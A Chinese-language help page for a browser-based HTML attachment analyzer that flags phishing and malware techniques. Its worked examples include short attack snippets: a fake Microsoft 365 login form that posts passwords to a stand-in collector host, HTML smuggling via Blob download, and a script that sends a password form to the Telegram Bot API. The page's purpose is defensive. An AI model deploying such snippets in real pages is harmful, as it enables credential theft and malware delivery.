文件与页面

HTML 附件分析器

本地运行新增

该工具本身是英文的;本页面将用您的语言对它进行说明。

使用 HTML 附件分析器

功能介绍

载入或粘贴 HTML 或 SVG 附件,查看它被打开后会做什么:隐藏下载、把密码提交到别处的表单、重定向、数据外传端点以及混淆代码。文件以文本形式读取,从不渲染或运行。

它完全在您的浏览器中运行:您输入的任何内容都不会被上传。

如何使用HTML 附件分析器

  1. 不要打开文件. 保存 .html、.htm、.shtml、.xhtml 或 .svg 附件但不要打开,或以文本形式复制其源码。
  2. 载入或粘贴. 将文件拖到框中或选择该文件(最大 25 MB),或粘贴源码(最大 5 MB),然后按 Analyze(分析)或 Ctrl+Enter。
  3. 查看结论. 顶部提示框显示 High risk、Suspicious 或 No high-risk patterns found,并给出其依据的类别,以及发现项、IOC 和嵌入数据块的数量。
  4. 逐项查看发现. 每项发现都显示其严重程度、类别、行号和匹配的源码,其中的链接和地址已做无害化处理。
  5. 导出发现的内容. 以无害化或原始形式复制 IOC,或使用 Send to(发送到)转交给 IOC Converter(IOC 转换器)、Abuse Report Generator(滥用举报生成器),嵌入的数据块则可转交给 Multi-Layer Decoder(多层解码器)。

示例

预填了邮箱地址的登录表单

输入
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
输出(捕获于2026-10-20)
High risk: techniques used by phishing and malware attachments

Credential harvesting

1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs

FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365

This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.

Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO	METHOD	FIELDS	LINE
hxxps://collector[.]example/login external Copy	POST	email u, password p, submit password	2
Requests and redirects with a literal target
VIA	TARGET	LINE
form	hxxps://collector[.]example/login other site	2
IOCs
URLs (1)
hxxps://collector[.]example/login

Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)

Static
…

High risk:登录表单把密码发送到 collector[.]example,标题在密码字段旁写着 Microsoft 365,脚本则用 atob 从 URL 片段中填入电子邮件地址。IOC 列表包含收集器 URL 及其域名,均已做无害化处理。

检查内容

信号其含义
HTML 走私当页面在内存中构建文件(Blob 配合 createObjectURL 或下载链接,或 msSaveOrOpenBlob)并将其作为下载提供时,评为高。
表单任何提交到其他网站的表单都评为高,如果表单包含密码,标题会注明。Forms 表格列出每个表单的提交地址、方法和字段。
数据外传端点Telegram Bot API 调用、机器人令牌、Discord webhook 以及 formspree.io 或 webhook.site 等表单收集服务,都评为高。
混淆atob、unescape、fromCharCode、长串转义序列以及已知混淆器的输出。字面编码字符串会在不运行的情况下被解码。
动态代码eval、Function 构造函数、document.write 以及 innerHTML 赋值会在运行时构建代码或标记。
重定向修改 location、window.open、meta refresh,以及读取 URL 片段(钓鱼工具包常通过它传递受害者的电子邮件地址)。
反分析屏蔽右键或 F12、debugger 语句、开发者工具检测以及针对自动化浏览器的检查。
嵌入内容data: URI、较长的 Base64 或十六进制数据块及其解码后的文件类型、隐藏的 iframe,以及包含脚本的 SVG 文件。
品牌线索标题、徽标或链接中的品牌名称。出现在密码字段旁时评为中。

更多示例

在浏览器中构建的下载

输入
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>
结果

High risk,原因为 HTML smuggling:1 项高风险发现(页面在浏览器中组装文件并将其作为下载提供),以及针对 atob、new Blob、URL.createObjectURL 和 download 属性的 4 项中风险发现。没有 IOC。

发送给 Telegram 机器人的密码

输入
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>
结果

High risk,原因为 Data exfiltration:一个脚本把带密码字段的页面中的数据发送到 api.telegram.org,另有一项 Telegram Bot API 端点发现。中风险发现涵盖 fetch、密码字段,以及一个没有外部 action 的登录表单。

会重定向的 SVG 图片

输入
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>
结果

High risk:带脚本的 SVG 文件,另有一项中风险的重定向发现和一项低风险的 btoa 发现。目标地址作为另一个网站出现在 Requests and redirects 下,XML 命名空间 URL 不计入 IOC。

常见问题解答

分析器查找什么?

它将源码与以下规则进行匹配:HTML 走私(Blob、createObjectURL、msSaveOrOpenBlob、下载链接、data: URI 和较长的 Base64 数据块)、向其他网站发送数据的表单和脚本、通过 Telegram 和 Discord 外传数据、重定向、隐藏的 iframe、混淆器以及反分析伎俩。它还会在不运行代码的情况下解码 atob、unescape 和 fromCharCode 字面量,并以无害化形式列出找到的每个 URL、域名、IP 地址和电子邮件地址。

它会漏掉什么或误报吗?

会。加密的或运行时生成的代码可以在静态扫描中隐藏其行为,而普通页面也会使用 fetch、innerHTML 或内嵌图片,因此请阅读每项发现旁显示的匹配源码。如需去混淆和沙箱模拟,请使用 JS Analyzer(JS 分析器)。

文件会被上传或打开吗?

不会。文件在你的浏览器中以文本形式读取,从不渲染、执行或发送到任何地方。可接受最大 25 MB 的文件;对于非常大的文件,会扫描标记的前 4 MB 和最后 1 MB,而嵌入的数据块则在整个文件中统计。

为什么 SVG 图片要像网页一样检查?

SVG 文件是 XML,浏览器会像打开网页一样打开它们,因此它们可以携带脚本、链接和嵌入的 HTML。图片不需要脚本,因此 SVG 中的脚本评为高。

什么是嵌入数据块?

文件中较长的 Base64、十六进制或字节数组字符串。它们会在内存中解码,并标注解码后的文件类型;你可以复制其中一个,或把文本数据块发送到 Multi-Layer Decoder。

各严重程度是什么意思?

高表示钓鱼和恶意软件附件所依赖的模式,例如走私、数据外传端点或把密码提交到别处的表单。中涵盖普通页面也会使用的技术。只要有一项高风险发现,结论就是 High risk。

术语说明

PhishDestroy 研究